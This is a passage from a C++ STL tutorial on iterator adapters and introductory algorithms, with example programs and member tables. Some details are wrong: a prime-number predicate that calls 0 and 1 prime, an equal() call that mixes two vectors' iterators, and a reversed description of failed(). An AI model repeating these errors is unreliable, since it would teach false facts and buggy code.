#include <iterator>
#include <vector>
#include <iostream>
using namespace std;

int main()
{
//ostream_iterator for stream cout
ostream_iterator<int> intOut(cout, "\n");
*intOut = 12;
intOut++;
*intOut = 33;
intOut++;

int i;
vector<int> vec;
for(i = 10; i<=15; ++i)
vec.push_back(i);

cout<<"Operation: with and without delimiter...\n";


//Write elements to standard output stream
cout<<"Elements output without delimiter: ";
copy(vec.begin(), vec.end(), ostream_iterator<int> (cout));
cout<<endl;

//Write elements with delimiter " " to output stream


cout<<"Elements output with delimiter: ";
copy(vec.begin(), vec.end(), ostream_iterator<int> (cout, " "));
cout<<endl;
return 0;
}

Output:

Member Functions

Member function Description


Constructs an ostream_iterator that is initialized and
ostream_iterator
delimited to write to the output stream.

Page 11 of 24
Table 32.16

Operators

Operator Description
Dereferencing operator used to implement the output iterator expression
operator*
such as *i = x.
A nonfunctional increment operator that returns an ostream_iterator
operator++
to the same object it addressed before the operation was called.
Assignment operator used to implement the output iterator expression such
operator=
as *i = x for writing to an output stream.

Table 32.17

ostream_iterator::operator=

- Assignment operator used to implement the output_iterator expression such as *i = x for


writing to an output stream.

ostream_iterator<Type, CharType, Traits>& operator=(const Type& _Val);

Parameter

Parameter Description
_Val The value of the object of type Type to be inserted into the output stream.

Table 32.18

- The return value is the operator inserts _Val into the output stream associated with the object, and then
returns a reference to the ostream_iterator.
- The requirements for an output iterator that the ostream_iterator must satisfy require only the
expression such as*j = t be valid and says nothing about the operator or the operator= on their own.
- This member operator returns *this.

//ostream_iterator, operator=
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;

int main()
{
//ostream_iterator for stream cout
//with new line delimiter
ostream_iterator<int> intOut(cout, "\n");

//Standard iterator interface for writing


//elements to the output stream
cout<<"Elements written to output stream:\n";
*intOut = 12;
*intOut = 21;
//No effect on iterator position
intOut++;
*intOut = 9;
*intOut = 7;
return 0;
}

Output:

Page 12 of 24
ostreambuf_iterator Template Class

- The template class ostreambuf_iterator describes an output iterator object that writes
successive character elements onto the output stream with the extraction operator>>.
- The ostreambuf_iterators differ from those of the ostream_iterator Class in having
characters instead of a generic type at the type of object being inserted into the output stream.

template <
class CharType = char
class Traits = char_traits<CharType>
>

Parameters

Parameter Description
The type that represents the character type for the
CharType ostreambuf_iterator. This argument is optional and
the default value is char.
The type that represents the character type for the
Traits ostreambuf_iterator. This argument is optional and
the default value is char_traits<CharType>.

Table 32.19

- The ostreambuf_iterator class must satisfy the requirements for an output iterator. Algorithms
can be written directly to output streams using an ostreambuf_iterator.
- The class provides a low-level stream iterator that allows access to the raw (unformatted) I/O stream in
the form of characters and the ability to bypass the buffering and character translations associated with
the high-level stream iterators.

ostreambuf_iterator Template Class Members

Typedefs

Typedef Description
A type that provides for the character type of the
char_type
ostreambuf_iterator.
A type that provides for the stream type of the
ostream_type
ostream_iterator.
A type that provides for the stream type of the
streambuf_type
ostreambuf_iterator.
A type that provides for the character traits type of
traits_type
the ostream_iterator.

Table 32.20

ostreambuf_iterator::ostreambuf_iterator

- Constructs an ostreambuf_iterator that is initialized to write characters to the output stream.

ostreambuf_iterator(streambuf_type* _Strbuf) throw();


ostreambuf_iterator(ostream_type& _Ostr) throw();

Parameters

Page 13 of 24
Parameter Description
_Strbuf The output streambuf object used to initialize the output stream-buffer pointer.
_Ostr The output stream object used to initialize the output stream-buffer pointer.

Table 32.21

- The first constructor initializes the output stream-buffer pointer with _Strbuf.
- The second constructor initializes the output stream-buffer pointer with _Ostr.rdbuf.
- The stored pointer must not be a null pointer.

//ostreambuf_iterator, ostreambuf_iterator
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;

int main()
{
// ostreambuf_iterator for stream cout
ostreambuf_iterator<char> charOut(cout);

*charOut = '7';
charOut ++;
*charOut = 'T';
charOut ++;
*charOut = 'W';
cout<<" are characters output."<<endl;

ostreambuf_iterator<char> strOut(cout);
string str = "These characters are being written to the output stream.\n ";
copy(str.begin(), str.end(), strOut);
return 0;
}

Output:

Member Functions

Member function Description


failed() Tests for failure of an insertion into the output stream buffer.
Constructs an ostreambuf_iterator that is initialized to
ostreambuf_iterator
write characters to the output stream.

Table 32.22

ostreambuf_iterator::failed

- Tests for failure of an insertion into the output stream buffer.

bool failed() const throw();

- The return value is true if no insertion into the output stream buffer has failed earlier; otherwise false.
- The member function returns true if, in any prior use of member operator=, the call to subf_-
>sputc returned eof.

//ostreambuf_iterator, failed()
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;

int main()
{

Page 14 of 24
//ostreambuf_iterator for stream cout
ostreambuf_iterator<char> charOut(cout);

*charOut = 'T';
charOut ++;
*charOut = '7';
charOut ++;
*charOut = 'R';
cout<<" are characters output"<<endl;

bool bol = charOut.failed();


if(bol)
cout<<"At least one insertion failed."<<endl;
else
cout<<"No insertions failed."<<endl;
return 0;
}

Output:

Operators

Operator Description
Dereferencing operator used to implement the output iterator expression such as
operator*
*i = x.
A nonfunctional increment operator that returns an ostreambuf_iterator
operator++
to the same object it addressed before the operation was called.
operator= The operator inserts a character into the associated stream buffer.

Table 32.23

reverse_iterator Template Class

- The template class is an iterator adaptor that describes a reverse iterator object that behaves like a
random-access or bidirectional iterator, only in reverse. It enables the backward traversal of a range.

template<class Iterator>

Parameter

Parameter Description
Iterator The type that represents the iterator to be adapted to operate in reverse.

Table 32.24

- Existing STL containers also define reverse_iterator and const_reverse_iterator


types and have member functions rbegin() and rend() that return reverse iterators.
- These iterators have overwritten semantics. The reverse_iterator adaptor supplements this
functionality as offers insert semantics and can also be used with streams.
- The reverse_iterators that require a bidirectional iterator must not call any of the member
functions operator+=, operator+, operator-=, operator-, or operator[], which may
only be used with random-access iterators.
- If the range of an iterator is [_First, _Last), where the square bracket on the left indicates the
inclusion on _First and the parenthesis on the right indicates the inclusion of elements up to _Left
but excluding _Left itself.
- The same elements are included in the reversed sequence [rev – _First, rev – _Left) so
that if _Left is the one-past-the-end element in a sequence, then the first element rev – _First in
the reversed sequence points to *(_Left – 1). The identity which relates all reverse iterators to
their underlying iterators is:

Page 15 of 24
&*(reverse_iterator (i)) == &*(i – 1)

- In practice, this means that in the reversed sequence the reverse_iterator will refer to the
element one position beyond (to the right of) the element that the iterator had referred to in the original
sequence.
- So if an iterator addressed the element valued 6 in the sequence (2, 4, 6, 8), then the
reverse_iterator will address the element valued 4 in the reversed sequence (8, 6, 4, 2).

reverse_iterator Template Class Members

Typedefs

Typedef Description
A type that provides the difference between two reverse_iterators
difference_type
referring to elements within the same container.
iterator_type A type that provides the underlying iterator for a reverse_iterator.
A type that provides a pointer to an element addressed by a
pointer
reverse_iterator.
A type that provides a reference to an element addressed by a
reference
reverse_iterator.

Table 32.25

reverse_iterator::operator[]

- Returns a reference to an element offset from the element addressed by a reverse_iterator by a


specified number of positions.

reference operator[](difference_type _Off) const;

Parameter

Parameter Description
_Off The offset from the reverse_iterator address.

Table 32.26

- The return value is the reference to the element offset.


- The operator returns *(*this + _Off).

//reverse_iterator, operator[]
#include <iterator>
#include <algorithm>
#include <vector>
#include <iostream>
using namespace std;

int main()
{
int i;

vector<int> vec;
for(i = 10; i<=17; ++i)
vec.push_back(i);

cout<<"Normal....\n";
vector <int>::iterator vIter;
cout<<"The vector vec data: ";
for(vIter = vec.begin(); vIter != vec.end(); vIter++)
cout<<*vIter<<" ";
cout<<endl;

cout<<"\nReverse....\n";
vector <int>::reverse_iterator rvIter;
cout<<"The vector vec reversed data: ";
for(rvIter = vec.rbegin(); rvIter != vec.rend(); rvIter++)
cout<<*rvIter<<" ";
cout<<endl;

cout<<"\nFinding data, 15....\n";

Page 16 of 24
cout<<"Operation: pos = find(vec.begin(), vec.end(), 15)\n";
vector <int>::iterator pos;
pos = find(vec.begin(), vec.end(), 15);

cout<<"The iterator pos points to: "<<*pos<<endl;


reverse_iterator<vector<int>::iterator> rpos(pos);

//Declare a difference type for a parameter


reverse_iterator<vector<int>::iterator>::difference_type diff = 3;

cout<<"\nOperation: rpos(pos)\n";
cout<<"The iterator rpos points to: "<<*rpos<<endl;

//Declare a reference return type & use operator[]


cout<<"\nOperation: refrpos = rpos[diff], where diff = 3\n";
reverse_iterator<vector<int>::iterator>::reference refrpos = rpos[diff];
cout<<"The iterator rpos now points to: "<<refrpos<<endl;
return 0;
}

Output:

reverse_iterator::pointer

- A type that provides a pointer to an element addressed by a reverse_iterator.

typedef typename iterator_traits<Iterator>::pointer pointer;

- The type is a synonym for the iterator trait typename iterator_traits<Random-access


iterator>::pointer.

//reverse_iterator, pointer
#include <iterator>
#include <algorithm>
#include <vector>
#include <utility>
#include <iostream>
using namespace std;

int main()
{

typedef vector<pair<int, int> > pVector;


pVector vec;
vec.push_back(pVector::value_type(1, 2));
vec.push_back(pVector::value_type(3, 4));
vec.push_back(pVector::value_type(5, 6));

pVector::iterator pvIter;
cout<<"Operation: pvIter->first and pvIter->second\n";
cout<<"The vector vec of integer pairs is: \n";
for(pvIter = vec.begin(); pvIter != vec.end(); pvIter++)
cout<<pvIter->first<<", "<<pvIter->second<<endl;

pVector::reverse_iterator rpvIter;
cout<<"\nOperation: reverse rpvIter->first and rpvIter->second";

Page 17 of 24
cout<<"\nThe vector vec reversed is: \n";
for(rpvIter = vec.rbegin(); rpvIter != vec.rend(); rpvIter++)
cout<<rpvIter->first<< ", " <<rpvIter->second<<endl;

cout<<"\nOperation: pos = vec.begin() then pos++...";


pVector::iterator pos = vec.begin();
pos++;
cout<<"\nThe iterator pos points to:\n"<<pos->first<< ", " <<pos->second<<endl;

cout<<"\nOperation: reverse, rpos(pos)";


pVector::reverse_iterator rpos(pos);
cout<<"\nThe iterator rpos points to:\n"<<rpos->first<< ", " <<rpos->second<<endl;
return 0;
}

Output:

Member Functions

Member function Description


base() Recovers the underlying iterator from its reverse_iterator.
Constructs a default reverse_iterator or a
reverse_iterator
reverse_iterator from an underlying iterator.

Table 32.27

reverse_iterator::base

- Recovers the underlying iterator from its reverse_iterator.

RandomIterator base() const;

- The return value is the iterator underlying the reverse_iterator.


- The identity that relates all reverse iterators to their underlying iterators is:

&*(reverse_iterator(i)) == &*(i – 1).

- In practice, this means that in the reversed sequence the reverse_iterator will refer to the
element one position beyond (to the right of) the element that the iterator had referred to in the original
sequence.
- So if an iterator addressed the element valued 6 in the sequence (2, 4, 6, 8), then the
reverse_iterator will address the element valued 4 in the reversed sequence (8, 6, 4, 2).

//reverse_iterator, base()
#include <iterator>
#include <algorithm>
#include <vector>

Page 18 of 24
#include <iostream>
using namespace std;

int main()
{
int i;

vector<int> vec;
for(i = 10; i<=15; ++i)
vec.push_back(i);

vector <int>::iterator vIter;


cout<<"The vector vec data: ";
for(vIter = vec.begin(); vIter != vec.end(); vIter++)
cout<<*vIter<<" ";
cout<<endl;

vector<int>::reverse_iterator rvIter;
cout<<"The vector vec reversed data: ";
for(rvIter = vec.rbegin(); rvIter != vec.rend(); rvIter++)
cout<<*rvIter<<" ";
cout<<endl;

cout<<"\nFinding data...";
cout<<"\nOperation: pos = find(vec.begin(), vec.end(), 13)\n";
vector <int>::iterator pos, bpos;
pos = find(vec.begin(), vec.end(), 13);
cout<<"The iterator pos points to: "<<*pos<<endl;

typedef reverse_iterator<vector<int>::iterator>::iterator_type it_vec_int_type;


cout<<"\nFinding data, reverse...\n";
cout<<"Operation: rpos(pos)\n";

reverse_iterator<it_vec_int_type> rpos(pos);
cout<<"The reverse_iterator rpos points to: "<<*rpos<<endl;
bpos = rpos.base();
cout<<"The iterator underlying rpos is bpos & it points to: "<<*bpos<<endl;
return 0;
}

Output:

Operators

Operator Description
operator* Returns the element that a reverse_iterator addresses.
Adds an offset to an iterator and returns the new reverse_iterator
operator+
addressing the inserted element at the new offset position.
operator++ Increments the reverse_iterator to the next element.
operator+= Adds a specified offset from a reverse_iterator.
Subtracts an offset from a reverse_iterator and returns a
operator-
reverse_iterator addressing the element at the offset position.
Operator-- Decrements the reverse_iterator to the previous element.
operator-= Subtracts a specified offset from a reverse_iterator.
operator-> Returns a pointer to the element addressed by the reverse_iterator.
Returns a reference to an element offset from the element addressed by a
operator[]
reverse_iterator by a specified number of positions.

Page 19 of 24
Table 32.28

32.2 Iterator Adapters

- We can write classes that have the interface of iterators but do something completely different. The
C++ standard library provides several predefined special iterators, iterator adapters. They extend the
functionalities of the iterators.
- The three iterator adapters are:

1. Insert iterators
2. Stream iterators
3. Reverse iterators

32.2.1 Insert Iterators

- Insert iterators, or inserters are used to let algorithms operate in the insert mode rather than in an
overwrite mode.
- In particular, they solve the problem of algorithms that write to a destination that does not have enough
storage; they let the destination grow accordingly.
- The following table lists the insert iterators and their functionality.

Insert iterator Operation


back_inserter(container) Appends in the same order by using push_back()
front_inserter(container) Inserts at the front in reverse order by using push_front()
inserter(container, pos) Inserts at pos (in the same order) by using insert()

32.29: Predefined insert iterators

//Inserter iterator
#include <iostream>
#include <vector>
#include <deque>
#include <list>
#include <set>
#include <algorithm>
using namespace std;

int main()
{
list<int> lst;
list <int>::iterator lstIter;
//insert elements from 1 to 10 into the lst list
for(int i=1; i<=10; ++i)
lst.push_back(i);

cout<<"Operation: lst.push_back(i)\n";
cout<<"lst data: ";
for(lstIter = lst.begin(); lstIter != lst.end(); lstIter++)
cout<<*lstIter<<' ';
cout<<endl;

//copy the elements of lst list into vec vector by appending them
vector<int> vec;
vector <int>::iterator Iter;
//from source to destination...
copy(lst.begin(), lst.end(), back_inserter(vec));

cout<<"\nOperation: copy(lst.begin(), lst.end(), back_inserter(vec))\n";


cout<<"vec data: ";
for(Iter = vec.begin(); Iter != vec.end(); Iter++)
cout<<*Iter<<" ";
cout<<endl;

//copy the elements of lst list into


//deq deque by inserting them at the front
//and reverses the order of the elements
deque<int> deq;
deque <int>::iterator deqIter;
copy(lst.begin(), lst.end(), front_inserter(deq));

cout<<"\nOperation: copy(lst.begin(), lst.end(), front_inserter(deq))\n";


cout<<"deq data: ";
for(deqIter = deq.begin(); deqIter != deq.end(); deqIter++)

Page 20 of 24
cout<<*deqIter<<" ";
cout<<endl;

//copy elements of lst list into st set


//only inserter that works for associative collections
set<int> st;
set<int>::iterator stIter;
copy(lst.begin(), lst.end(), inserter(st, st.begin()));

cout<<"\nOperation: copy(lst.begin(), lst.end(), inserter(st, st.begin()))\n";


cout<<"set data: ";
for(stIter = st.begin(); stIter != st.end(); stIter++)
cout<<*stIter<<" ";
cout<<endl;
return 0;
}

Output:

- The program example uses all three predefined insert iterators as listed below:

Iterator Description
Back inserters can be used only for containers that provide push_back() as a
Back inserters member function. In the C++ standard library, these containers are vector, deque,
and list.
Front inserter reverses the order of the inserted elements. If you insert 1 at the front
and then 2 at the front, the 1 is after the 2. Front inserters can be used only for
Front inserters
containers that provide push_front() as a member function. In the C++
standard library, these containers are deque and list.
A general inserter, also called simply an inserter, inserts elements directly in
front of the position that is passed as the second argument of its initialization. It
General inserters calls the insert() member function with the new value and the new position as
arguments. Note that all predefined containers have such an insert() member
function. This is the only predefined inserter for associative containers.

Table 32.30

32.2.2 Stream Iterators

- Another very helpful kind of iterator adapter is a stream iterator. Stream iterators are iterators that
read from and write to a stream.
- Thus, they provide an abstraction that lets the input from the keyboard behave as a collection, from
which you can read. Similarly you can redirect the output of an algorithm directly into a file or onto
the screen.
- Consider the following example. It is a typical example of the power of the whole STL. Compared
with ordinary C or C++, it does a lot of complex processing by using only a few statements. For
example study the following example.

//stream iterator
#include <iostream>
#include <vector>
#include <string>
#include <algorithm>
using namespace std;

Page 21 of 24
int main()
{
vector<string> strvec;
vector <string>::iterator Iter;
//read from the standard input until EOF/error
//the EOF is platform dependent...
//then copy (inserting) to strvec vector...
//copy from begin to end of source, to destination

copy(istream_iterator<string>(cin), istream_iterator<string>(), back_inserter(strvec));

cout<<"\nstrvec data: ";


for(Iter = strvec.begin(); Iter != strvec.end(); Iter++)
cout<<*Iter<<" ";
cout<<endl;

//do some sorting


sort(strvec.begin(), strvec.end());

cout<<"\nstrvec data: ";


for(Iter = strvec.begin(); Iter != strvec.end(); Iter++)
cout<<*Iter<<" ";
cout<<"\n\n";

//print all elements without duplicates to standard output


unique_copy(strvec.begin(), strvec.end(), ostream_iterator<string> (cout, "\n"));
return 0;
}

Output:

32.2.3 Reverse Iterators

- The third kind of predefined iterator adapters are reverse iterators.


- Reverse iterators operate in reverse. They switch the call of an increment operator internally into a call
of the decrement operator, and vice versa.
- All containers can create reverse iterators via their member functions rbegin() and rend().

//reverse iterator using


//rbegin() and rend()
#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;

int main()
{
vector<int> vec;
//insert elements from 1 to 10
for(int i=1; i<=10; ++i)
vec.push_back(i);

//print all element in reverse order


copy(vec.rbegin(), vec.rend(), ostream_iterator<int> (cout," "));
cout<<endl;
return 0;
}

Output:

Page 22 of 24
- Program example compiled using g++.

//******ostreamiterator.cpp********
//ostream_iterator, ostream_iterator
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;

int main()
{
//ostream_iterator for stream cout
ostream_iterator<int> intOut(cout, "\n");
*intOut = 12;
intOut++;
*intOut = 33;
intOut++;

int i;
vector<int> vec;
for(i = 10; i<=15; ++i)
vec.push_back(i);

cout<<"Operation: with and without delimiter...\n";


//Write elements to standard output stream
cout<<"Elements output without delimiter: ";
copy(vec.begin(), vec.end(), ostream_iterator<int> (cout));
cout<<endl;

//Write elements with delimiter " " to output stream


cout<<"Elements output with delimiter: ";
copy(vec.begin(), vec.end(), ostream_iterator<int> (cout, " "));
cout<<endl;
return 0;
}

[bodo@bakawali ~]$ g++ ostreamiterator.cpp -o ostreamiterator


[bodo@bakawali ~]$ ./ostreamiterator

12
33
Operation: with and without delimiter...
Elements output without delimiter: 101112131415
Elements output with delimiter: 10 11 12 13 14 15

//*****insertiter.cpp******
//Inserter iterator
#include <iostream>
#include <vector>
#include <deque>
#include <list>
#include <set>
#include <algorithm>
using namespace std;

int main()
{
list<int> lst;
list <int>::iterator lstIter;
//insert elements from 1 to 10 into the lst list
for(int i=1; i<=10; ++i)
lst.push_back(i);

cout<<"Operation: lst.push_back(i)\n";
cout<<"lst data: ";
for(lstIter = lst.begin(); lstIter != lst.end(); lstIter++)
cout<<*lstIter<<' ';
cout<<endl;

//copy the elements of lst list into vec vector by appending them

Page 23 of 24
vector<int> vec;
vector <int>::iterator Iter;
//from source to destination...
copy(lst.begin(), lst.end(), back_inserter(vec));

cout<<"\nOperation: copy(lst.begin(), lst.end(), back_inserter(vec))\n";


cout<<"vec data: ";
for(Iter = vec.begin(); Iter != vec.end(); Iter++)
cout<<*Iter<<" ";
cout<<endl;

//copy the elements of lst list into


//deq deque by inserting them at the front
//and reverses the order of the elements
deque<int> deq;
deque <int>::iterator deqIter;
copy(lst.begin(), lst.end(), front_inserter(deq));

cout<<"\nOperation: copy(lst.begin(), lst.end(), front_inserter(deq))\n";


cout<<"deq data: ";
for(deqIter = deq.begin(); deqIter != deq.end(); deqIter++)
cout<<*deqIter<<" ";
cout<<endl;

//copy elements of lst list into st set


//only inserter that works for associative collections
set<int> st;
set<int>::iterator stIter;
copy(lst.begin(), lst.end(), inserter(st, st.begin()));

cout<<"\nOperation: copy(lst.begin(), lst.end(), inserter(st, st.begin()))\n";


cout<<"set data: ";
for(stIter = st.begin(); stIter != st.end(); stIter++)
cout<<*stIter<<" ";
cout<<endl;
return 0;
}

[bodo@bakawali ~]$ g++ insertiter.cpp -o insertiter


[bodo@bakawali ~]$ ./insertiter

Operation: lst.push_back(i)
lst data: 1 2 3 4 5 6 7 8 9 10

Operation: copy(lst.begin(), lst.end(), back_inserter(vec))


vec data: 1 2 3 4 5 6 7 8 9 10

Operation: copy(lst.begin(), lst.end(), front_inserter(deq))


deq data: 10 9 8 7 6 5 4 3 2 1

Operation: copy(lst.begin(), lst.end(), inserter(st, st.begin()))


set data: 1 2 3 4 5 6 7 8 9 10

-------------------------------------------End of Iterator--------------------------------------
---www.tenouk.com---

Further reading and digging:

1. Check the best selling C / C++ and STL books at Amazon.com.

Page 24 of 24
MODULE 33
--THE STL--
ALGORITHM PART I

My Training Period: hours

Note: Compiled using Microsoft Visual C++ .Net, win32 empty console mode application. g++ compilation
examples given at the end of this Module.

Ability

▪ Able to understand the fundamental of the algorithm.

33.1 Algorithms

33.1.1 Some Introduction Story

- We have covered containers and iterators, now we are going to complete our discussion by introducing
algorithms.
- We create data structure by using containers, and then we use iterators to traverse or iterate the data
structure. During the iteration we will use algorithm, a set of rules that actually defined what to do to
the data structure: sorting, searching, re ordering etc.
- The STL provides several standard algorithms for the processing of elements of collections.
- These algorithms offer general fundamental services, such as searching, sorting, copying, reordering,
modifying, and numerical processing, so that no need for us to start developing program portions or
routines from scratch. Furthermore they have been tested and your task is to learn how to manipulate
these ‘creatures’.
- Algorithms are global functions that operate with iterators; hence, all algorithms can be implemented
once for any container type. The algorithm might even operate on elements of different container types.
Furthermore you can also use the algorithms for user-defined container types.
- Let's start with a simple example, the use of STL algorithms. Consider the following program:

//simple algorithm example


#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;

int main()
{
//declare a vector and the iterator
vector<int> vec;
vector<int>::iterator pos;

//insert elements from 1 to 6 in arbitrary order


vec.push_back(7);
vec.push_back(4);
vec.push_back(8);
vec.push_back(0);
vec.push_back(12);
vec.push_back(9);

//print the vector...


cout<<"The original vector: ";
for(pos = vec.begin(); pos != vec.end(); pos++)
cout<<*pos<< " ";
cout<<endl;

//find and print minimum and maximum elements


pos = min_element(vec.begin(), vec.end());
cout<<"\nThe minimum element's value: "<<*pos<<endl;

pos = max_element(vec.begin(), vec.end());


cout<<"\nThe maximum element's value: "<<*pos<<endl<<endl;

//sort algorithm, sort all elements


sort(vec.begin(), vec.end());

//print the vector...


cout<<"The sorted vector: ";
for(pos = vec.begin(); pos != vec.end(); pos++)
cout<<*pos<< " ";

www.tenouk.com Page 1 of 9
cout<<endl<<endl;

cout<<"Find value of 8, then reverse the order: ";


//find algorithm, find the first element with value 8
pos = find(vec.begin(), vec.end(), 8);

//reverse algorithm, reverse the order of the


//found element with value 8 and all the following elements
reverse(pos, vec.end());

//print all elements


for(pos=vec.begin(); pos!=vec.end(); ++pos)
cout<<*pos<<' ';
cout << endl;
}

Output:

- To be able to call the algorithms, you must include the header file <algorithm> as shown below.

#include <algorithm>

- The first two algorithms called are min_element() and max_element().


- They are called with two parameters that define the range of the processed elements. To process all
elements of a container you simply use begin() and end().
- Both algorithms return an iterator for the minimum and maximum elements respectively. Thus, in the
statement

pos = min_element(vec.begin(), vec.end());

- The min_element() algorithm returns the position of the minimum element (if there is more than
one, the algorithm returns the first). The next statement prints that element:

cout<<"\nThe minimum element's value: "<<*pos<<endl;

- And for the max_element()

cout<<"\nThe maximum element's value: "<<*pos<<endl<<endl;

- The next algorithm called is sort(). As the name indicates, it sorts the elements of the range defined
by the two arguments.
- You could also pass an optional sorting criterion. The default sorting criterion is operator < (less
than). Thus, in this example all elements of the container are sorted in ascending order:

sort(vec.begin(), vec.end());

- So afterward, the vector contains the elements in this order:

0 4 7 8 9 12

- The find() algorithm searches for a value inside the given range. In this example, it searches the first
element that is equal to the value 3 in the whole container:

pos = find(vec.begin(), vec.end(), 8);

www.tenouk.com Page 2 of 9
- If the find() algorithm is successful, it returns the iterator position of the element found. If it fails, it
returns the end of the range, the past-the-end iterator, which is passed as the second argument.
- In this example, the value 8 is found as the third element, so afterward pos refer to the third element of
vec.
- The last algorithm called in the example is reverse(), which reverses the elements of the passed
range. Here the third element that was found by the find() algorithms and the past-the end iterator
are passed as arguments:

reverse(pos, vec.end());

- This call reverses the order of the third element up to the last one.

33.1.2 Ranges

- All algorithms process one or more ranges of elements. Such a range might, but is not required to,
embrace all elements of a container.
- Therefore, to be able to handle subsets of container elements, you pass the beginning and the end of the
range as two separate arguments rather than the whole collection as one argument.
- The caller must ensure that the first and second arguments define a valid range. This is the case if the
end of the range is reachable from the beginning by iterating through the elements.
- This means, it is up to the programmer to ensure that both iterators belong to the same container and that
the beginning is not behind the end. If this is not the case, the behavior is undefined and endless loops or
forbidden memory access may result.

33.1.3 Multiple Ranges

- Several algorithms process more than one range. In this case you usually must define both the
beginning and the end only for the first range.
- For all other ranges you need to pass only their beginnings. The ends of the other ranges follow from
the number of elements of the first range.
- For example, the following call of equal() compares all elements of the collection vec1 element-
by-element with the elements of vec2 beginning with its first element:

if(equal(vec1.begin(), vec2.end(), vec2.begin()))


{...}

- Thus, the number of elements of vec2 that are compared with the elements of vec1 is specified
indirectly by the number of elements in vec1.
- Hence, when you call algorithms for multiple ranges, and make sure the second and additional ranges
have at least as many elements as the first range.
- That means make sure that destination ranges are big enough for algorithms that write to collections.
- Consider the following program:

//algorithms, example
#include <iostream>
#include <vector>
#include <list>
#include <algorithm>
using namespace std;

int main()
{
list<int> lst1;
vector<int> vec1;
//insert elements from 1 to 9
for(int i=1; i<=9; ++i)
lst1.push_back(i);

//RUNTIME ERROR:
// - overwrites nonexistence elements in the destination
copy (lst1.begin(), lst1.end(), //the source
vec1.begin()); //the destination
......
}

www.tenouk.com Page 3 of 9
- Here, the copy() algorithm is called. It simply copies all elements of the first range into the
destination range.
- Notice that, for the first range, the beginning and the end are defined, whereas for the second range,
only the beginning is specified.
- However, the algorithm overwrites rather than inserts. So, the algorithm requires that the destination
has enough elements to be overwritten. If there is not enough room, as in this case, the result is
undefined behavior and normally compiler will generate errors.
- In practice, this often means that you overwrite whatever comes after the vec.end(). To avoid these
errors, you can:

1. Ensure that the destination has enough elements on entry, or


2. Uses insert iterators.

- To make the destination big enough, you must either create it with the correct size or change its size
explicitly. Both alternatives apply only to sequence containers (vectors, deques, and lists).
- The following program shows how to increase the size of containers:

//algorithm, example
#include <iostream>
#include <vector>
#include <list>
#include <deque>
#include <algorithm>
using namespace std;

int main()
{
list<int> lst1;
list<int>::iterator pos;
vector<int> vec1;
vector<int>::iterator pos1;

//insert elements from 1 to 10


for(int i=1; i<=10; ++i)
lst1.push_back(i);

//display data
cout<<"The list lst1 data: ";
for(pos=lst1.begin(); pos!=lst1.end(); pos++)
cout<<*pos<<" ";
cout<<endl;

//resize destination to have enough


//room for the overwriting algorithm
vec1.resize(lst1.size());

//copy elements from first into second collection


//overwrites existing elements in destination
copy(lst1.begin(), lst1.end(), //source
vec1.begin()); //destination

cout<<"\nThe vector vec1 data: ";


for(pos1=vec1.begin(); pos1!=vec1.end(); pos1++)
cout<<*pos1<<" ";
cout<<endl;

//create third collection with enough allocation


//initial size is passed as parameter
deque<int> deq1(lst1.size());
deque<int>::iterator pos2;

//copy elements from first into third collection


copy(lst1.begin(), lst1.end(), //source
deq1.begin()); //destination

cout<<"\nThe deque deq1 data: ";


for(pos2=deq1.begin(); pos2!=deq1.end(); pos2++)
cout<<*pos2<<" ";
cout<<endl;
}

Output:

www.tenouk.com Page 4 of 9
- Here, resize() is used to change the number of elements in the existing container vec1:

vec1.resize(vec1.size());

- deq1 is initialized with a special initial size so that it has enough room for all elements of lst1:

deque<int> deq1(vec1.size());

- Note that both resizing and initializing the size create new elements. These elements are initialized by
their default constructor because no arguments are passed to them.
- You can pass an additional argument both for the constructor and for resize() to initialize the new
elements.

33.2 Algorithms versus Member Functions

- Even if you are able to use an algorithm, it might not be suitable in certain circumstances.
- You have learned from the program examples in the module (container), a container might have
member functions that provide much better solution such as in term of performance.
- Calling remove() for elements of a list is a good example of this. If you call remove() for
elements of a list, the algorithm doesn't know that it is operating on a list.
- Thus, it does what it does for any container: It reorders the elements by changing their values. If, for
example, it removes the first element, all the following elements are assigned to their previous
elements.
- This behavior contradicts the main advantage of lists, the ability to insert, move, and remove elements
by modifying the links instead of the values. To overcome this, lists provide special member functions
for all manipulating algorithms and it is better to use them instead of using algorithm version.

33.3 User Defined Generic Functions

- The STL is an extensible framework. This means you can write your own functions and algorithms to
process elements of collections and these operations may also be generic.
- However, to declare a valid iterator in these operations, you must use the type of the container, which is
different for each container type.
- To facilitate the writing of generic functions, each container type provides some internal type
definitions.

33.4 Functions as Algorithm Arguments

- To increase their flexibility and power, several algorithms allow the passing of user-defined auxiliary
functions. These functions are called internally by the algorithms.

33.5 Predicates

- A special kind of auxiliary function for algorithms is a predicate.


- Predicates are functions that return a Boolean value. They are often used to specify a sorting or a
search criterion.
- Depending on their purpose, predicates are unary or binary. Note that not every unary or binary
function that returns a Boolean value is a valid predicate.
- The STL requires that predicates always yield the same result for the same value.

33.5.1 Unary Predicates

- Unary predicates check a specific property of a single argument. A typical simple example is a function
that is used as a search criterion to find the first prime number:

www.tenouk.com Page 5 of 9
//Algorithm, simple example
#include <iostream>
#include <list>
#include <algorithm>
//for abs()
#include <cstdlib>
using namespace std;

//predicate, which returns whether an integer is a prime number


bool isPrimeNum(int number)
{
//ignore negative sign
number = abs(number);

//0 and 1 are prime numbers


if(number == 0 || number == 1)
{
return true;
}

//find divisor that divides without a remainder


int divisor;
for(divisor = (number/2); (number%divisor) != 0; --divisor)
{;}

//if no divisor greater than 1 is found, it is a prime number


return divisor == 1;
}

int main()
{
list<int> lst1;

//insert elements from 24 to 30


for(int i=10; i<=20; ++i)
lst1.push_back(i);

//search for prime number


list<int>::iterator pos;

cout<<"The list lst1 data:\n";


for(pos=lst1.begin(); pos!=lst1.end(); pos++)
cout<<*pos<<" ";
cout<<endl<<endl;

pos = find_if(lst1.begin(), lst1.end(), //range


isPrimeNum); //predicate

if(pos != lst1.end())
{
//found
cout<<*pos<<" is the first prime number found"<<endl;
}
else {
//not found
cout<<"no prime number found"<<endl;
}
}

Output:

- In this example, the find_if() algorithm is used to search for the first element of the given range
for which the passed unary predicate yields true.
- The predicate is the isPrimeNum() function. This function checks whether a number is a prime
number. By using it, the algorithm returns the first prime number in the given range.

www.tenouk.com Page 6 of 9
- If the algorithm does not find any element that matches the predicate, it returns the end of the range (its
second argument).

